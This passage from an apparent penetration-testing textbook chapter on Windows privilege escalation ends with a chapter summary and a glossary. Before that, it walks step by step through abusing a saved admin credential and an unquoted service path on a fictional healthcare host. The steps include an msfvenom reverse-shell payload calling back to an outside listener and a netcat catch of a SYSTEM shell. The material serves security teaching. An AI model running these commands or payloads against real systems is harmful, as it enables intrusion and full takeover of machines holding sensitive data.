Type: Domain Password
User: medsecure\admin.backup
# Stored credential found! Try using it:
C:\Users\j.smith> runas /savecred /user:medsecure\admin.backup cmd.exe
# If /savecred works, we get a shell as admin.backup
# Step 3: Enumerate services (if runas doesn't work)
C:\Users\j.smith> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows" | findstr /i /v """
MedSecure EHR Agent C:\Program Files\MedSecure\EHR Agent\ehrmonitor.exe Auto
# Unquoted path found! Check write permissions:
C:\Users\j.smith> icacls "C:\Program Files\MedSecure"
BUILTIN\Users:(OI)(CI)(M)
# Users have Modify permissions!
# Step 4: Exploit unquoted service path
C:\Users\j.smith> msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe > EHR.exe
C:\Users\j.smith> copy EHR.exe "C:\Program Files\MedSecure\EHR.exe"
# Step 5: Trigger service restart
# Wait for automatic restart or scheduled maintenance
# The service auto-starts on boot, so if we can trigger a reboot...
# Or check if we can restart it:
C:\Users\j.smith> sc stop "MedSecure EHR Agent"
# Access denied - we can't stop the service
# Wait for nightly maintenance window or find another trigger
# Service restarts automatically at 2:00 AM per maintenance schedule
# Step 6: Catch the reverse shell
# At 2:00 AM:
# nc -lvnp 4444
# Connection from 10.10.10.50
C:\Windows\system32> whoami
nt authority\system
Summary
Windows privilege escalation demands a deep understanding of the Windows security model and a systematic approach to enumeration and exploitation. In this chapter, we covered:
- Security Architecture: Tokens, SIDs, ACLs, privileges, UAC, and integrity levels form the security fabric you must understand to find flaws.
- Enumeration: Systematic information gathering across users, services, scheduled tasks, registry, and credentials.
- Token Impersonation: The Potato family of attacks and privilege abuse remain among the most reliable escalation techniques.
- Service Misconfigurations: Unquoted paths, weak permissions, and writable binaries are common in enterprise environments.
- Registry and DLL Hijacking: AlwaysInstallElevated, autorun keys, and DLL search order abuse.
- Modern CVEs: PrintNightmare, HiveNightmare, and other recent vulnerabilities that reshaped the threat landscape.
- Automated Tools: WinPEAS, PowerUp, Seatbelt, and SharpUp accelerate enumeration.
The key lesson is that Windows privilege escalation rarely requires exotic exploits. Misconfigurations---weak service permissions, unquoted paths, stored credentials---are far more common and reliable than kernel-level vulnerabilities. A thorough, patient enumeration phase almost always reveals a path to SYSTEM.
In the next chapter, we take Windows exploitation to its logical conclusion: attacking Active Directory, the backbone of enterprise Windows environments, where compromising a single domain controller gives you the keys to the kingdom.
Key Terms
- Access Token: A Windows security object containing a user's SID, group memberships, and privileges
- SID (Security Identifier): Unique identifier for every security principal in Windows
- UAC (User Account Control): Security mechanism requiring elevation for administrative actions
- SeImpersonatePrivilege: Windows privilege allowing a process to impersonate client tokens
- Potato Attacks: Family of exploits leveraging token impersonation for SYSTEM escalation
- Unquoted Service Path: Service binary path with spaces that is not enclosed in quotation marks
- DLL Hijacking: Placing a malicious DLL where a legitimate application will load it
- AlwaysInstallElevated: Registry setting allowing MSI installation with SYSTEM privileges
- PrintNightmare: CVE-2021-34527, Print Spooler vulnerability allowing remote code execution
- HiveNightmare/SeriousSAM: CVE-2021-36934, allowing standard users to read SAM registry hive
- WinPEAS: Windows Privilege Escalation Awesome Script, comprehensive enumeration tool
- PowerUp: PowerShell privilege escalation enumeration and exploitation framework
- Seatbelt: GhostPack C# security enumeration tool
- AMSI: Antimalware Scan Interface, inspects scripts before execution
- Integrity Levels: Mandatory integrity control labels (Low, Medium, High, System)